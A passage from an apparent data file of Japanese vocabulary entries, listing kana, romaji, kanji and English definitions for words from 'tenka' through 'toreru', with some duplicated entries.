to\"\n\t},\n\n\t{\n\t\t'kana':'てんか',\n\t\t'romaji':'tenka',\n\t\t'kanji':'天下',\n\t\t'definition':\"the world;whole country;descent from heaven;having one's own way;the public;the ruling power\"\n\t},\n\n\t{\n\t\t'kana':'てんかい',\n\t\t'romaji':'tenkai',\n\t\t'kanji':'展開',\n\t\t'definition':\"develop;expansion (opposite of compression)\"\n\t},\n\n\t{\n\t\t'kana':'てんかい',\n\t\t'romaji':'tenkai',\n\t\t'kanji':'転回',\n\t\t'definition':\"revolution;rotation\"\n\t},\n\n\t{\n\t\t'kana':'てんかん',\n\t\t'romaji':'tenkan',\n\t\t'kanji':'転換',\n\t\t'definition':\"convert;divert\"\n\t},\n\n\t{\n\t\t'kana':'てんけい',\n\t\t'romaji':'tenkei',\n\t\t'kanji':'典型',\n\t\t'definition':\"type;pattern;archetypal\"\n\t},\n\n\t{\n\t\t'kana':'てんけん',\n\t\t'romaji':'tenken',\n\t\t'kanji':'点検',\n\t\t'definition':\"inspection;examination;checking\"\n\t},\n\n\t{\n\t\t'kana':'てんき',\n\t\t'romaji':'tenki',\n\t\t'kanji':'天気',\n\t\t'definition':\"weather;the elements;fine weather\"\n\t},\n\n\t{\n\t\t'kana':'てんきん',\n\t\t'romaji':'tenkin',\n\t\t'kanji':'転勤',\n\t\t'definition':\"transfer;transmission\"\n\t},\n\n\t{\n\t\t'kana':'てんこう',\n\t\t'romaji':'tenkou',\n\t\t'kanji':'天候',\n\t\t'definition':\"weather\"\n\t},\n\n\t{\n\t\t'kana':'てんこう',\n\t\t'romaji':'tenkou',\n\t\t'kanji':'転校',\n\t\t'definition':\"change schools\"\n\t},\n\n\t{\n\t\t'kana':'てんきょ',\n\t\t'romaji':'tenkyo',\n\t\t'kanji':'転居',\n\t\t'definition':\"moving;changing residence\"\n\t},\n\n\t{\n\t\t'kana':'てんねん',\n\t\t'romaji':'tennen',\n\t\t'kanji':'天然',\n\t\t'definition':\"nature;spontaneity\"\n\t},\n\n\t{\n\t\t'kana':'てんにん',\n\t\t'romaji':'tennin',\n\t\t'kanji':'転任',\n\t\t'definition':\"change of post\"\n\t},\n\n\t{\n\t\t'kana':'テンポ',\n\t\t'romaji':'tenpo',\n\t\t'kanji':'',\n\t\t'definition':\"tempo\"\n\t},\n\n\t{\n\t\t'kana':'てんらく',\n\t\t'romaji':'tenraku',\n\t\t'kanji':'転落',\n\t\t'definition':\"fall;degradation;slump\"\n\t},\n\n\t{\n\t\t'kana':'てんらんかい',\n\t\t'romaji':'tenrankai',\n\t\t'kanji':'展覧会',\n\t\t'definition':\"exhibition\"\n\t},\n\n\t{\n\t\t'kana':'てんさい',\n\t\t'romaji':'tensai',\n\t\t'kanji':'天災',\n\t\t'definition':\"natural calamity;disaster\"\n\t},\n\n\t{\n\t\t'kana':'てんさい',\n\t\t'romaji':'tensai',\n\t\t'kanji':'天才',\n\t\t'definition':\"genius;prodigy;natural gift\"\n\t},\n\n\t{\n\t\t'kana':'てんせん',\n\t\t'romaji':'tensen',\n\t\t'kanji':'点線',\n\t\t'definition':\"dotted line;perforated line\"\n\t},\n\n\t{\n\t\t'kana':'てんすう',\n\t\t'romaji':'tensuu',\n\t\t'kanji':'点数',\n\t\t'definition':\"marks;points;score;runs;number of items;credits\"\n\t},\n\n\t{\n\t\t'kana':'てんすう',\n\t\t'romaji':'tensuu',\n\t\t'kanji':'点数',\n\t\t'definition':\"marks;points;score;runs;number of items;credits\"\n\t},\n\n\t{\n\t\t'kana':'てんたい',\n\t\t'romaji':'tentai',\n\t\t'kanji':'天体',\n\t\t'definition':\"heavenly body\"\n\t},\n\n\t{\n\t\t'kana':'てんてん',\n\t\t'romaji':'tenten',\n\t\t'kanji':'転転',\n\t\t'definition':\"rolling about;moving from place to place;being passed around repeatedly\"\n\t},\n\n\t{\n\t\t'kana':'てんてん',\n\t\t'romaji':'tenten',\n\t\t'kanji':'点々',\n\t\t'definition':\"here and there;little by little;sporadically;scattered in drops;dot;spot\"\n\t},\n\n\t{\n\t\t'kana':'テント',\n\t\t'romaji':'tento',\n\t\t'kanji':'',\n\t\t'definition':\"tent\"\n\t},\n\n\t{\n\t\t'kana':'てぬぐい',\n\t\t'romaji':'tenugui',\n\t\t'kanji':'手拭い',\n\t\t'definition':\"(hand) towel\"\n\t},\n\n\t{\n\t\t'kana':'ておくれ',\n\t\t'romaji':'teokure',\n\t\t'kanji':'手遅れ',\n\t\t'definition':\"too late;belated treatment\"\n\t},\n\n\t{\n\t\t'kana':'てっぺん',\n\t\t'romaji':'teppen',\n\t\t'kanji':'鉄片',\n\t\t'definition':\"iron scraps\"\n\t},\n\n\t{\n\t\t'kana':'てっぽう',\n\t\t'romaji':'teppou',\n\t\t'kanji':'鉄砲',\n\t\t'definition':\"gun\"\n\t},\n\n\t{\n\t\t'kana':'テープ',\n\t\t'romaji':'te-pu',\n\t\t'kanji':'',\n\t\t'definition':\"tape\"\n\t},\n\n\t{\n\t\t'kana':'テープレコーダー',\n\t\t'romaji':'te-pureko-da-',\n\t\t'kanji':'',\n\t\t'definition':\"tape recorder\"\n\t},\n\n\t{\n\t\t'kana':'てら',\n\t\t'romaji':'tera',\n\t\t'kanji':'寺',\n\t\t'definition':\"temple\"\n\t},\n\n\t{\n\t\t'kana':'てら',\n\t\t'romaji':'tera',\n\t\t'kanji':'寺',\n\t\t'definition':\"temple\"\n\t},\n\n\t{\n\t\t'kana':'てらす',\n\t\t'romaji':'terasu',\n\t\t'kanji':'照らす',\n\t\t'definition':\"to shine on;to illuminate\"\n\t},\n\n\t{\n\t\t'kana':'テレビ',\n\t\t'romaji':'terebi',\n\t\t'kanji':'',\n\t\t'definition':\"television;TV\"\n\t},\n\n\t{\n\t\t'kana':'テレックス',\n\t\t'romaji':'terekusu',\n\t\t'kanji':'',\n\t\t'definition':\"telex;teletypewriter exchange\"\n\t},\n\n\t{\n\t\t'kana':'てりかえす',\n\t\t'romaji':'terikaesu',\n\t\t'kanji':'照り返す',\n\t\t'definition':\"to reflect;to throw back light\"\n\t},\n\n\t{\n\t\t'kana':'てる',\n\t\t'romaji':'teru',\n\t\t'kanji':'照る',\n\t\t'definition':\"to shine\"\n\t},\n\n\t{\n\t\t'kana':'てっする',\n\t\t'romaji':'tessuru',\n\t\t'kanji':'徹する',\n\t\t'definition':\"to sink in;to penetrate;to devote oneself;to believe in;to go through;to do intently and exclusively\"\n\t},\n\n\t{\n\t\t'kana':'テスト',\n\t\t'romaji':'tesuto',\n\t\t'kanji':'',\n\t\t'definition':\"test\"\n\t},\n\n\t{\n\t\t'kana':'てつ',\n\t\t'romaji':'tetsu',\n\t\t'kanji':'鉄',\n\t\t'definition':\"iron\"\n\t},\n\n\t{\n\t\t'kana':'てつだい',\n\t\t'romaji':'tetsudai',\n\t\t'kanji':'手伝い',\n\t\t'definition':\"help;helper;assistant\"\n\t},\n\n\t{\n\t\t'kana':'てつだう',\n\t\t'romaji':'tetsudau',\n\t\t'kanji':'手伝う',\n\t\t'definition':\"to help;to assist;to take part in\"\n\t},\n\n\t{\n\t\t'kana':'てつどう',\n\t\t'romaji':'tetsudou',\n\t\t'kanji':'鉄道',\n\t\t'definition':\"railroad\"\n\t},\n\n\t{\n\t\t'kana':'てつづき',\n\t\t'romaji':'tetsuduki',\n\t\t'kanji':'手続き',\n\t\t'definition':\"procedure;(legal) process;formalities\"\n\t},\n\n\t{\n\t\t'kana':'てつがく',\n\t\t'romaji':'tetsugaku',\n\t\t'kanji':'哲学',\n\t\t'definition':\"philosophy\"\n\t},\n\n\t{\n\t\t'kana':'てつや',\n\t\t'romaji':'tetsuya',\n\t\t'kanji':'徹夜',\n\t\t'definition':\"all night;all night vigil;sleepless night\"\n\t},\n\n\t{\n\t\t'kana':'てってい',\n\t\t'romaji':'tettei',\n\t\t'kanji':'徹底',\n\t\t'definition':\"thoroughness;completeness\"\n\t},\n\n\t{\n\t\t'kana':'てわけ',\n\t\t'romaji':'tewake',\n\t\t'kanji':'手分け',\n\t\t'definition':\"division of labour\"\n\t},\n\n\t{\n\t\t'kana':'ティッシュペーパー',\n\t\t'romaji':'thisyupe-pa-',\n\t\t'kanji':'',\n\t\t'definition':\"tissue paper\"\n\t},\n\n\t{\n\t\t'kana':'と',\n\t\t'romaji':'to',\n\t\t'kanji':'都',\n\t\t'definition':\"metropolitan;municipal\"\n\t},\n\n\t{\n\t\t'kana':'と',\n\t\t'romaji':'to',\n\t\t'kanji':'都',\n\t\t'definition':\"metropolitan;municipal\"\n\t},\n\n\t{\n\t\t'kana':'と',\n\t\t'romaji':'to',\n\t\t'kanji':'',\n\t\t'definition':\"1. if (conjunction); 2. promoted pawn (shogi) (abbr)\"\n\t},\n\n\t{\n\t\t'kana':'とばり',\n\t\t'romaji':'tobari',\n\t\t'kanji':'帳',\n\t\t'definition':\"curtain\"\n\t},\n\n\t{\n\t\t'kana':'とばり',\n\t\t'romaji':'tobari',\n\t\t'kanji':'幕',\n\t\t'definition':\"curtain;bunting;act (in play)\"\n\t},\n\n\t{\n\t\t'kana':'とばす',\n\t\t'romaji':'tobasu',\n\t\t'kanji':'飛ばす',\n\t\t'definition':\"to skip over;to omit\"\n\t},\n\n\t{\n\t\t'kana':'とびだす',\n\t\t'romaji':'tobidasu',\n\t\t'kanji':'飛び出す',\n\t\t'definition':\"to jump out;to rush out;to fly out;to appear suddenly;to protrude;to project\"\n\t},\n\n\t{\n\t\t'kana':'とびこむ',\n\t\t'romaji':'tobikomu',\n\t\t'kanji':'飛び込む',\n\t\t'definition':\"to jump in;to leap in;to plunge into;to dive\"\n\t},\n\n\t{\n\t\t'kana':'とびら',\n\t\t'romaji':'tobira',\n\t\t'kanji':'扉',\n\t\t'definition':\"door;opening\"\n\t},\n\n\t{\n\t\t'kana':'とぼける',\n\t\t'romaji':'tobokeru',\n\t\t'kanji':'惚ける',\n\t\t'definition':\"to play dumb;to play the fool;to be in one's dotage\"\n\t},\n\n\t{\n\t\t'kana':'とぼける',\n\t\t'romaji':'tobokeru',\n\t\t'kanji':'惚ける',\n\t\t'definition':\"to play dumb;to play the fool;to be in one's dotage\"\n\t},\n\n\t{\n\t\t'kana':'とぼしい',\n\t\t'romaji':'toboshii',\n\t\t'kanji':'乏しい',\n\t\t'definition':\"meagre;scarce;limited;destitute;hard up;scanty;poor\"\n\t},\n\n\t{\n\t\t'kana':'とぶ',\n\t\t'romaji':'tobu',\n\t\t'kanji':'跳ぶ',\n\t\t'definition':\"to jump;to leap;to spring;to bound;to hop\"\n\t},\n\n\t{\n\t\t'kana':'とぶ',\n\t\t'romaji':'tobu',\n\t\t'kanji':'飛ぶ',\n\t\t'definition':\"to fly;to jump\"\n\t},\n\n\t{\n\t\t'kana':'とち',\n\t\t'romaji':'tochi',\n\t\t'kanji':'土地',\n\t\t'definition':\"plot of land;lot;soil\"\n\t},\n\n\t{\n\t\t'kana':'とだえる',\n\t\t'romaji':'todaeru',\n\t\t'kanji':'途絶える',\n\t\t'definition':\"to stop;to cease;to come to an end\"\n\t},\n\n\t{\n\t\t'kana':'とだな',\n\t\t'romaji':'todana',\n\t\t'kanji':'戸棚',\n\t\t'definition':\"cupboard;locker\"\n\t},\n\n\t{\n\t\t'kana':'とどけ',\n\t\t'romaji':'todoke',\n\t\t'kanji':'届け',\n\t\t'definition':\"report;notification;registration\"\n\t},\n\n\t{\n\t\t'kana':'とどける',\n\t\t'romaji':'todokeru',\n\t\t'kanji':'届ける',\n\t\t'definition':\"to deliver;to forward;to send;to report;to file notice (to the authorities)\"\n\t},\n\n\t{\n\t\t'kana':'とどこおる',\n\t\t'romaji':'todokooru',\n\t\t'kanji':'滞る',\n\t\t'definition':\"to stagnate;to be delayed\"\n\t},\n\n\t{\n\t\t'kana':'とどく',\n\t\t'romaji':'todoku',\n\t\t'kanji':'届く',\n\t\t'definition':\"to reach\"\n\t},\n\n\t{\n\t\t'kana':'とどまる',\n\t\t'romaji':'todomaru',\n\t\t'kanji':'留まる',\n\t\t'definition':\"1. to be fixed; 2. to abide;to stay (in the one place)\"\n\t},\n\n\t{\n\t\t'kana':'とどまる',\n\t\t'romaji':'todomaru',\n\t\t'kanji':'止まる',\n\t\t'definition':\"to be limited to\"\n\t},\n\n\t{\n\t\t'kana':'とどまる',\n\t\t'romaji':'todomaru',\n\t\t'kanji':'留まる',\n\t\t'definition':\"1. to be fixed; 2. to abide;to stay (in the one place)\"\n\t},\n\n\t{\n\t\t'kana':'とどめる',\n\t\t'romaji':'todomeru',\n\t\t'kanji':'止める',\n\t\t'definition':\"to stop;to cease;to put an end to\"\n\t},\n\n\t{\n\t\t'kana':'とどめる',\n\t\t'romaji':'todomeru',\n\t\t'kanji':'留める',\n\t\t'definition':\"to stop;to cease;to put an end to\"\n\t},\n\n\t{\n\t\t'kana':'とどめる',\n\t\t'romaji':'todomeru',\n\t\t'kanji':'止める',\n\t\t'definition':\"to stop;to cease;to put an end to\"\n\t},\n\n\t{\n\t\t'kana':'とどめる',\n\t\t'romaji':'todomeru',\n\t\t'kanji':'止める',\n\t\t'definition':\"to stop;to cease;to put an end to\"\n\t},\n\n\t{\n\t\t'kana':'とどめる',\n\t\t'romaji':'todomeru',\n\t\t'kanji':'留める',\n\t\t'definition':\"to stop;to cease;to put an end to\"\n\t},\n\n\t{\n\t\t'kana':'とがめる',\n\t\t'romaji':'togameru',\n\t\t'kanji':'咎める',\n\t\t'definition':\"to blame;to find fault;to take someone to task;to aggravate (an injury)\"\n\t},\n\n\t{\n\t\t'kana':'とがる',\n\t\t'romaji':'togaru',\n\t\t'kanji':'尖る',\n\t\t'definition':\"to taper to a point;to become sharp;to be sour;to look displeased\"\n\t},\n\n\t{\n\t\t'kana':'とげ',\n\t\t'romaji':'toge',\n\t\t'kanji':'刺',\n\t\t'definition':\"thorn;splinter;spine;biting words\"\n\t},\n\n\t{\n\t\t'kana':'とげる',\n\t\t'romaji':'togeru',\n\t\t'kanji':'遂げる',\n\t\t'definition':\"to accomplish;to achieve;to carry out\"\n\t},\n\n\t{\n\t\t'kana':'とぎれる',\n\t\t'romaji':'togireru',\n\t\t'kanji':'跡切れる',\n\t\t'definition':\"to pause;to be interrupted\"\n\t},\n\n\t{\n\t\t'kana':'とぐ',\n\t\t'romaji':'togu',\n\t\t'kanji':'研ぐ',\n\t\t'definition':\"to sharpen;to grind;to scour;to hone;to polish;to wash (rice)\"\n\t},\n\n\t{\n\t\t'kana':'とほ',\n\t\t'romaji':'toho',\n\t\t'kanji':'徒歩',\n\t\t'definition':\"walking;going on foot\"\n\t},\n\n\t{\n\t\t'kana':'とい',\n\t\t'romaji':'toi',\n\t\t'kanji':'問い',\n\t\t'definition':\"question;query\"\n\t},\n\n\t{\n\t\t'kana':'といあわせ',\n\t\t'romaji':'toiawase',\n\t\t'kanji':'問い合わせ',\n\t\t'definition':\"enquiry;ENQ\"\n\t},\n\n\t{\n\t\t'kana':'といあわせる',\n\t\t'romaji':'toiawaseru',\n\t\t'kanji':'問い合わせる',\n\t\t'definition':\"to enquire;to seek information\"\n\t},\n\n\t{\n\t\t'kana':'トイレ',\n\t\t'romaji':'toire',\n\t\t'kanji':'',\n\t\t'definition':\"toilet;restroom;bathroom;lavatory\"\n\t},\n\n\t{\n\t\t'kana':'といや',\n\t\t'romaji':'toiya',\n\t\t'kanji':'問屋',\n\t\t'definition':\"wholesale store\"\n\t},\n\n\t{\n\t\t'kana':'とじまり',\n\t\t'romaji':'tojimari',\n\t\t'kanji':'戸締り',\n\t\t'definition':\"closing up;fastening the doors\"\n\t},\n\n\t{\n\t\t'kana':'とじる',\n\t\t'romaji':'tojiru',\n\t\t'kanji':'閉じる',\n\t\t'definition':\"to close (a book)\"\n\t},\n\n\t{\n\t\t'kana':'とじる',\n\t\t'romaji':'tojiru',\n\t\t'kanji':'綴じる',\n\t\t'definition':\"to bind;to file\"\n\t},\n\n\t{\n\t\t'kana':'とじょう',\n\t\t'romaji':'tojyou',\n\t\t'kanji':'途上',\n\t\t'definition':\"en route;half way\"\n\t},\n\n\t{\n\t\t'kana':'とかい',\n\t\t'romaji':'tokai',\n\t\t'kanji':'都会',\n\t\t'definition':\"city\"\n\t},\n\n\t{\n\t\t'kana':'とかく',\n\t\t'romaji':'tokaku',\n\t\t'kanji':'兎角',\n\t\t'definition':\"anyhow;anyway;somehow or other;generally speaking;in any case;this and that;many;be apt to\"\n\t},\n\n\t{\n\t\t'kana':'とかす',\n\t\t'romaji':'tokasu',\n\t\t'kanji':'溶かす',\n\t\t'definition':\"to melt;to dissolve\"\n\t},\n\n\t{\n\t\t'kana':'とけい',\n\t\t'romaji':'tokei',\n\t\t'kanji':'時計',\n\t\t'definition':\"watch;clock\"\n\t},\n\n\t{\n\t\t'kana':'とけこむ',\n\t\t'romaji':'tokekomu',\n\t\t'kanji':'溶け込む',\n\t\t'definition':\"to melt into\"\n\t},\n\n\t{\n\t\t'kana':'とける',\n\t\t'romaji':'tokeru',\n\t\t'kanji':'解ける',\n\t\t'definition':\"to loosen\"\n\t},\n\n\t{\n\t\t'kana':'とける',\n\t\t'romaji':'tokeru',\n\t\t'kanji':'溶ける',\n\t\t'definition':\"to melt;to thaw;to fuse;to dissolve\"\n\t},\n\n\t{\n\t\t'kana':'とける',\n\t\t'romaji':'tokeru',\n\t\t'kanji':'解ける',\n\t\t'definition':\"to loosen\"\n\t},\n\n\t{\n\t\t'kana':'とき',\n\t\t'romaji':'toki',\n\t\t'kanji':'時',\n\t\t'definition':\"time;hour;occasion\"\n\t},\n\n\t{\n\t\t'kana':'とき',\n\t\t'romaji':'toki',\n\t\t'kanji':'時',\n\t\t'definition':\"time;hour;occasion\"\n\t},\n\n\t{\n\t\t'kana':'ときどき',\n\t\t'romaji':'tokidoki',\n\t\t'kanji':'時々',\n\t\t'definition':\"sometimes\"\n\t},\n\n\t{\n\t\t'kana':'ときおり',\n\t\t'romaji':'tokiori',\n\t\t'kanji':'時折',\n\t\t'definition':\"sometimes\"\n\t},\n\n\t{\n\t\t'kana':'とっけん',\n\t\t'romaji':'tokken',\n\t\t'kanji':'特権',\n\t\t'definition':\"privilege;special right\"\n\t},\n\n\t{\n\t\t'kana':'とっくに',\n\t\t'romaji':'tokkuni',\n\t\t'kanji':'疾っくに',\n\t\t'definition':\"long ago;already;a long time ago\"\n\t},\n\n\t{\n\t\t'kana':'とこ',\n\t\t'romaji':'toko',\n\t\t'kanji':'床',\n\t\t'definition':\"bed;sickbed;alcove;padding\"\n\t},\n\n\t{\n\t\t'kana':'とこのま',\n\t\t'romaji':'tokonoma',\n\t\t'kanji':'床の間',\n\t\t'definition':\"alcove\"\n\t},\n\n\t{\n\t\t'kana':'ところ',\n\t\t'romaji':'tokoro',\n\t\t'kanji':'所',\n\t\t'definition':\"place\"\n\t},\n\n\t{\n\t\t'kana':'ところ',\n\t\t'romaji':'tokoro',\n\t\t'kanji':'所',\n\t\t'definition':\"place\"\n\t},\n\n\t{\n\t\t'kana':'ところ',\n\t\t'romaji':'tokoro',\n\t\t'kanji':'所',\n\t\t'definition':\"place\"\n\t},\n\n\t{\n\t\t'kana':'ところで',\n\t\t'romaji':'tokorode',\n\t\t'kanji':'所で',\n\t\t'definition':\"by the way;even if;no matter what\"\n\t},\n\n\t{\n\t\t'kana':'ところが',\n\t\t'romaji':'tokoroga',\n\t\t'kanji':'所が',\n\t\t'definition':\"however;while;even if\"\n\t},\n\n\t{\n\t\t'kana':'とこや',\n\t\t'romaji':'tokoya',\n\t\t'kanji':'床屋',\n\t\t'definition':\"barber\"\n\t},\n\n\t{\n\t\t'kana':'とく',\n\t\t'romaji':'toku',\n\t\t'kanji':'解く',\n\t\t'definition':\"to solve;to answer;to untie\"\n\t},\n\n\t{\n\t\t'kana':'とく',\n\t\t'romaji':'toku',\n\t\t'kanji':'解く',\n\t\t'definition':\"to solve;to answer;to untie\"\n\t},\n\n\t{\n\t\t'kana':'とく',\n\t\t'romaji':'toku',\n\t\t'kanji':'溶く',\n\t\t'definition':\"to dissolve (paint)\"\n\t},\n\n\t{\n\t\t'kana':'とく',\n\t\t'romaji':'toku',\n\t\t'kanji':'説く',\n\t\t'definition':\"to explain;to advocate;to preach;to persuade\"\n\t},\n\n\t{\n\t\t'kana':'とくばい',\n\t\t'romaji':'tokubai',\n\t\t'kanji':'特売',\n\t\t'definition':\"special sale\"\n\t},\n\n\t{\n\t\t'kana':'とくべつ',\n\t\t'romaji':'tokubetsu',\n\t\t'kanji':'特別',\n\t\t'definition':\"special\"\n\t},\n\n\t{\n\t\t'kana':'とくちょう',\n\t\t'romaji':'tokuchou',\n\t\t'kanji':'特徴',\n\t\t'definition':\"feature;characteristic\"\n\t},\n\n\t{\n\t\t'kana':'とくぎ',\n\t\t'romaji':'tokugi',\n\t\t'kanji':'特技',\n\t\t'definition':\"special skill\"\n\t},\n\n\t{\n\t\t'kana':'とくは',\n\t\t'romaji':'tokuha',\n\t\t'kanji':'特派',\n\t\t'definition':\"send specially;special envoy\"\n\t},\n\n\t{\n\t\t'kana':'とくい',\n\t\t'romaji':'tokui',\n\t\t'kanji':'得意',\n\t\t'definition':\"pride;triumph;prosperity;one's strong point;one's forte;one's specialty;customer;client\"\n\t},\n\n\t{\n\t\t'kana':'とくさん',\n\t\t'romaji':'tokusan',\n\t\t'kanji':'特産',\n\t\t'definition':\"specialty;special product\"\n\t},\n\n\t{\n\t\t'kana':'とくしょく',\n\t\t'romaji':'tokushoku',\n\t\t'kanji':'特色',\n\t\t'definition':\"characteristic;feature\"\n\t},\n\n\t{\n\t\t'kana':'とくしゅ',\n\t\t'romaji':'tokushu',\n\t\t'kanji':'特殊',\n\t\t'definition':\"special;unique\"\n\t},\n\n\t{\n\t\t'kana':'とくしゅう',\n\t\t'romaji':'tokushuu',\n\t\t'kanji':'特集',\n\t\t'definition':\"feature (e.g. newspaper);special edition;report\"\n\t},\n\n\t{\n\t\t'kana':'とくてい',\n\t\t'romaji':'tokutei',\n\t\t'kanji':'特定',\n\t\t'definition':\"specific;special;particular\"\n\t},\n\n\t{\n\t\t'kana':'とくてん',\n\t\t'romaji':'tokuten',\n\t\t'kanji':'得点',\n\t\t'definition':\"score;points made;marks obtained;runs\"\n\t},\n\n\t{\n\t\t'kana':'とくゆう',\n\t\t'romaji':'tokuyuu',\n\t\t'kanji':'特有',\n\t\t'definition':\"characteristic (of);peculiar (to)\"\n\t},\n\n\t{\n\t\t'kana':'とっきょ',\n\t\t'romaji':'tokyo',\n\t\t'kanji':'特許',\n\t\t'definition':\"special permission;patent\"\n\t},\n\n\t{\n\t\t'kana':'とっきゅう',\n\t\t'romaji':'tokyuu',\n\t\t'kanji':'特急',\n\t\t'definition':\"limited express (train faster than an express)\"\n\t},\n\n\t{\n\t\t'kana':'とまる',\n\t\t'romaji':'tomaru',\n\t\t'kanji':'止まる',\n\t\t'definition':\"to come to a halt\"\n\t},\n\n\t{\n\t\t'kana':'とめる',\n\t\t'romaji':'tomeru',\n\t\t'kanji':'泊める',\n\t\t'definition':\"to give shelter to;to lodge\"\n\t},\n\n\t{\n\t\t'kana':'とみ',\n\t\t'romaji':'tomi',\n\t\t'kanji':'富',\n\t\t'definition':\"wealth;fortune\"\n\t},\n\n\t{\n\t\t'kana':'とも',\n\t\t'romaji':'tomo',\n\t\t'kanji':'友',\n\t\t'definition':\"friend;companion;pal\"\n\t},\n\n\t{\n\t\t'kana':'ともばたらき',\n\t\t'romaji':'tomobataraki',\n\t\t'kanji':'共働き',\n\t\t'definition':\"dual income\"\n\t},\n\n\t{\n\t\t'kana':'ともだち',\n\t\t'romaji':'tomodachi',\n\t\t'kanji':'友達',\n\t\t'definition':\"friend\"\n\t},\n\n\t{\n\t\t'kana':'ともかく',\n\t\t'romaji':'tomokaku',\n\t\t'kanji':'兎も角',\n\t\t'definition':\"anyhow;anyway;somehow or other;generally speaking;in any case\"\n\t},\n\n\t{\n\t\t'kana':'ともかせぎ',\n\t\t'romaji':'tomokasegi',\n\t\t'kanji':'共稼ぎ',\n\t\t'definition':\"working together;(husband and wife) earning a living together\"\n\t},\n\n\t{\n\t\t'kana':'ともなう',\n\t\t'romaji':'tomonau',\n\t\t'kanji':'伴う',\n\t\t'definition':\"to accompany;to bring with;to be accompanied by;to be involved in\"\n\t},\n\n\t{\n\t\t'kana':'ともに',\n\t\t'romaji':'tomoni',\n\t\t'kanji':'共に',\n\t\t'definition':\"sharing with;participate in;both;alike;together;along with;with;including\"\n\t},\n\n\t{\n\t\t'kana':'ともしび',\n\t\t'romaji':'tomoshibi',\n\t\t'kanji':'灯',\n\t\t'definition':\"light\"\n\t},\n\n\t{\n\t\t'kana':'とむ',\n\t\t'romaji':'tomu',\n\t\t'kanji':'富む',\n\t\t'definition':\"to be rich;to become rich\"\n\t},\n\n\t{\n\t\t'kana':'トーン',\n\t\t'romaji':'to-n',\n\t\t'kanji':'',\n\t\t'definition':\"tone\"\n\t},\n\n\t{\n\t\t'kana':'となえる',\n\t\t'romaji':'tonaeru',\n\t\t'kanji':'唱える',\n\t\t'definition':\"to recite;to chant;to call upon\"\n\t},\n\n\t{\n\t\t'kana':'となり',\n\t\t'romaji':'tonari',\n\t\t'kanji':'隣',\n\t\t'definition':\"next to;next door to\"\n\t},\n\n\t{\n\t\t'kana':'とんだ',\n\t\t'romaji':'tonda',\n\t\t'kanji':'',\n\t\t'definition':\"terrible;awful;serious;preposterous;absolutely not\"\n\t},\n\n\t{\n\t\t'kana':'とんでもない',\n\t\t'romaji':'tondemonai',\n\t\t'kanji':'',\n\t\t'definition':\"unexpected;offensive;outrageous;What a thing to say!;No way!\"\n\t},\n\n\t{\n\t\t'kana':'とにかく',\n\t\t'romaji':'tonikaku',\n\t\t'kanji':'兎に角',\n\t\t'definition':\"anyhow;at any rate;anyway;somehow or other;generally speaking;in any case\"\n\t},\n\n\t{\n\t\t'kana':'トンネル',\n\t\t'romaji':'tonneru',\n\t\t'kanji':'',\n\t\t'definition':\"tunnel\"\n\t},\n\n\t{\n\t\t'kana':'とのさま',\n\t\t'romaji':'tonosama',\n\t\t'kanji':'殿様',\n\t\t'definition':\"feudal lord\"\n\t},\n\n\t{\n\t\t'kana':'とおい',\n\t\t'romaji':'tooi',\n\t\t'kanji':'遠い',\n\t\t'definition':\"far;distant\"\n\t},\n\n\t{\n\t\t'kana':'とおか',\n\t\t'romaji':'tooka',\n\t\t'kanji':'十日',\n\t\t'definition':\"ten days;the tenth (day of the month)\"\n\t},\n\n\t{\n\t\t'kana':'とおく',\n\t\t'romaji':'tooku',\n\t\t'kanji':'遠く',\n\t\t'definition':\"far away;distant;at a distance;distant place;by far\"\n\t},\n\n\t{\n\t\t'kana':'とおまわり',\n\t\t'romaji':'toomawari',\n\t\t'kanji':'遠回り',\n\t\t'definition':\"detour;roundabout way\"\n\t},\n\n\t{\n\t\t'kana':'とおり',\n\t\t'romaji':'toori',\n\t\t'kanji':'通り',\n\t\t'definition':\"avenue;street;way\"\n\t},\n\n\t{\n\t\t'kana':'とおり',\n\t\t'romaji':'toori',\n\t\t'kanji':'通り',\n\t\t'definition':\"avenue;street;way\"\n\t},\n\n\t{\n\t\t'kana':'とおり',\n\t\t'romaji':'toori',\n\t\t'kanji':'通り',\n\t\t'definition':\"avenue;street;way\"\n\t},\n\n\t{\n\t\t'kana':'とおりかかる',\n\t\t'romaji':'toorikakaru',\n\t\t'kanji':'通りかかる',\n\t\t'definition':\"to happen to pass by\"\n\t},\n\n\t{\n\t\t'kana':'とおりすぎる',\n\t\t'romaji':'toorisugiru',\n\t\t'kanji':'通り過ぎる',\n\t\t'definition':\"to pass;to pass through\"\n\t},\n\n\t{\n\t\t'kana':'とおる',\n\t\t'romaji':'tooru',\n\t\t'kanji':'通る',\n\t\t'definition':\"to pass (by);to go through;to walk along;to pass exams\"\n\t},\n\n\t{\n\t\t'kana':'とおす',\n\t\t'romaji':'toosu',\n\t\t'kanji':'通す',\n\t\t'definition':\"to let pass;to overlook;to continue;to keep;to make way for;to persist in\"\n\t},\n\n\t{\n\t\t'kana':'とおざかる',\n\t\t'romaji':'toozakaru',\n\t\t'kanji':'遠ざかる',\n\t\t'definition':\"to go far off\"\n\t},\n\n\t{\n\t\t'kana':'とっぱ',\n\t\t'romaji':'topa',\n\t\t'kanji':'突破',\n\t\t'definition':\"breaking through;breakthrough;penetration\"\n\t},\n\n\t{\n\t\t'kana':'トップ',\n\t\t'romaji':'topu',\n\t\t'kanji':'',\n\t\t'definition':\"top\"\n\t},\n\n\t{\n\t\t'kana':'とら',\n\t\t'romaji':'tora',\n\t\t'kanji':'虎',\n\t\t'definition':\"tiger\"\n\t},\n\n\t{\n\t\t'kana':'トラブル',\n\t\t'romaji':'toraburu',\n\t\t'kanji':'',\n\t\t'definition':\"trouble (sometimes used as a verb)\"\n\t},\n\n\t{\n\t\t'kana':'とらえる',\n\t\t'romaji':'toraeru',\n\t\t'kanji':'捕らえる',\n\t\t'definition':\"to seize;to grasp;to capture;to arrest\"\n\t},\n\n\t{\n\t\t'kana':'トラック',\n\t\t'romaji':'toraku',\n\t\t'kanji':'',\n\t\t'definition':\"truck;(running) track\"\n\t},\n\n\t{\n\t\t'kana':'トランプ',\n\t\t'romaji':'toranpu',\n\t\t'kanji':'',\n\t\t'definition':\"playing cards (lit: trump)\"\n\t},\n\n\t{\n\t\t'kana':'トランジスター',\n\t\t'romaji':'toranzisuta-',\n\t\t'kanji':'',\n\t\t'definition':\"transistor\"\n\t},\n\n\t{\n\t\t'kana':'トレーニング',\n\t\t'romaji':'tore-ningu',\n\t\t'kanji':'',\n\t\t'definition':\"training\"\n\t},\n\n\t{\n\t\t'kana':'とれる',\n\t\t'romaji':'toreru',\n\t\t'kanji':'取れる',\n\t\t'definition':\"to come off;to be taken off;to be 